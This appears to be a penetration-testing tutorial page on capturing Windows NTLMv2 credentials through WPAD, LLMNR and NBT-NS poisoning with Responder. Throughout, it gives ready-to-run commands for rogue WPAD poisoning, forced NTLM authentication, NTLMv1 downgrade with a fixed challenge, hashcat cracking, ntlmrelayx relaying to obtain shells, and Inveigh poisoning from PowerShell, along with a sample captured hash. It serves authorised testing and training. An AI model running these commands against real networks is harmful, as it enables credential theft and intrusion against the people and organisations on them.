Skip to content
HackIndex logo

HackIndex

WPAD DNS Credential Capture with Responder

5 min read May 15, 2026

When a Windows host cannot resolve wpad or wpad.$DOMAIN via DNS, it falls back to LLMNR and NBT-NS broadcast queries. Responder answers those broadcasts, impersonates the WPAD proxy server, and forces HTTP authentication. The victim's browser or OS transparently hands over NTLMv2 credentials without any user prompt in IE and Chrome. Those hashes go directly to Responder's logs for offline cracking or relay.

This is one of the most reliable and low-noise ways to collect credentials on an internal Windows network. It requires layer-2 access — you need to be on the same broadcast domain as the targets.

Running Responder with WPAD

The default Responder configuration does not enable WPAD. You need -w to start the rogue WPAD proxy and -F to force NTLM authentication when the client fetches wpad.dat:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -w -F -v

-w starts the WPAD proxy server. -F forces NTLM auth on the wpad.dat request. Without -F, some clients will fetch wpad.dat anonymously and you get no hash.

Once running, Responder poisons LLMNR and NBT-NS responses for wpad and any other unresolved names. When a host queries for wpad, Responder responds with your IP. The host then sends an HTTP GET for /wpad.dat, Responder challenges it for NTLM authentication, and the host responds transparently — especially IE and Chrome on intranet-zone targets, which provide Windows credentials automatically.

Captured hashes appear on screen and are written to /usr/share/responder/logs/.

Analyze Mode First

Before poisoning, run in analyze mode to see what queries are flying around without answering any of them:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -A -v

This shows you which hosts are broadcasting LLMNR/NBT-NS queries, what names they are looking for, and gives you a target list. Run this for a few minutes on a new segment before going live.

Typical Captured Hash

[HTTP] NTLMv2 Client   : 10.10.10.45
[HTTP] NTLMv2 Username : CORP\jsmith
[HTTP] NTLMv2 Hash     : jsmith::CORP:4a3b2c1d5e6f7a8b:AB12CD34EF56GH78IJ90KL12:0101000000000000...

The hash format is username::domain:challenge:response:blob. This is a NetNTLMv2 hash and cannot be used for pass-the-hash directly. It needs to be cracked offline or relayed.

Cracking the Hash

Save the hash line from the log file and crack with hashcat:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-$TARGET_IP.txt /usr/share/wordlists/rockyou.txt

Mode 5600 is NetNTLMv2. If the password is in the wordlist, you get plaintext back. Use rules to extend coverage:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/HTTP-NTLMv2-$TARGET_IP.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Downgrading to NTLMv1 for Easier Cracking

If the environment allows it, Responder can attempt to downgrade authentication to NTLMv1, which is significantly weaker and can be cracked with rainbow tables or submitted to crack.sh:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -w -F --lm --disable-ess -v

--lm enables LM hash capture. --disable-ess turns off extended session security. NTLMv1 hashes crack in seconds with the right tables. This is noisier and may not work against hardened endpoints.

For NTLMv1, set the Responder challenge to the fixed value 1122334455667788 in /usr/share/responder/Responder.conf before running, as crack.sh and rainbow table services expect this specific challenge value.

SMB Hash Capture Alongside WPAD

Responder captures SMB hashes in parallel. Any host that tries to access an unresolved UNC path (e.g., someone mistypes \\fileserver) will authenticate to Responder's SMB server and produce a hash. No additional flags needed — SMB is on by default.

SMB hashes land in /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET_IP.txt and crack with the same hashcat command.

Targeting a Specific Host with DNS Spoofing

If you want to spoof a specific DNS name rather than relying on LLMNR/NBT-NS fallback — for example, if DNS is working but you want to intercept resolution of a specific internal hostname — Responder also runs a DNS server. Edit /usr/share/responder/Responder.conf and set RespondTo or use the -e flag to reply with a specific IP:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -w -F -e $LHOST -v

This causes Responder to answer DNS queries for any unresolved name with $LHOST, broadening the capture surface beyond WPAD.

Relay Instead of Crack

If SMB signing is disabled on targets, relaying the captured NTLMv2 hash directly to another host with ntlmrelayx is often more reliable than cracking. To use Responder for capture and relay simultaneously, disable Responder's own SMB and HTTP servers (set SMB = Off and HTTP = Off in Responder.conf) and run ntlmrelayx in parallel:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -w -F -v
┌──(kali㉿kali)-[~]
└─$ impacket-ntlmrelayx -tf targets.txt -smb2support

Relay gives you shells or hashes from the target host without needing to crack anything. For relay execution, see SMB NTLM Relay.

Windows-Side Alternative

If you are already on a Windows host and cannot run Responder, Inveigh provides the same LLMNR/NBT-NS/WPAD poisoning capability from PowerShell:

PS C:\Users\Guest\Desktop> Import-Module .\Inveigh.ps1
PS C:\Users\Guest\Desktop> Invoke-Inveigh -LLMNR Y -NBNS Y -WPAD Y -WPADAuth NTLM -ConsoleOutput Y

References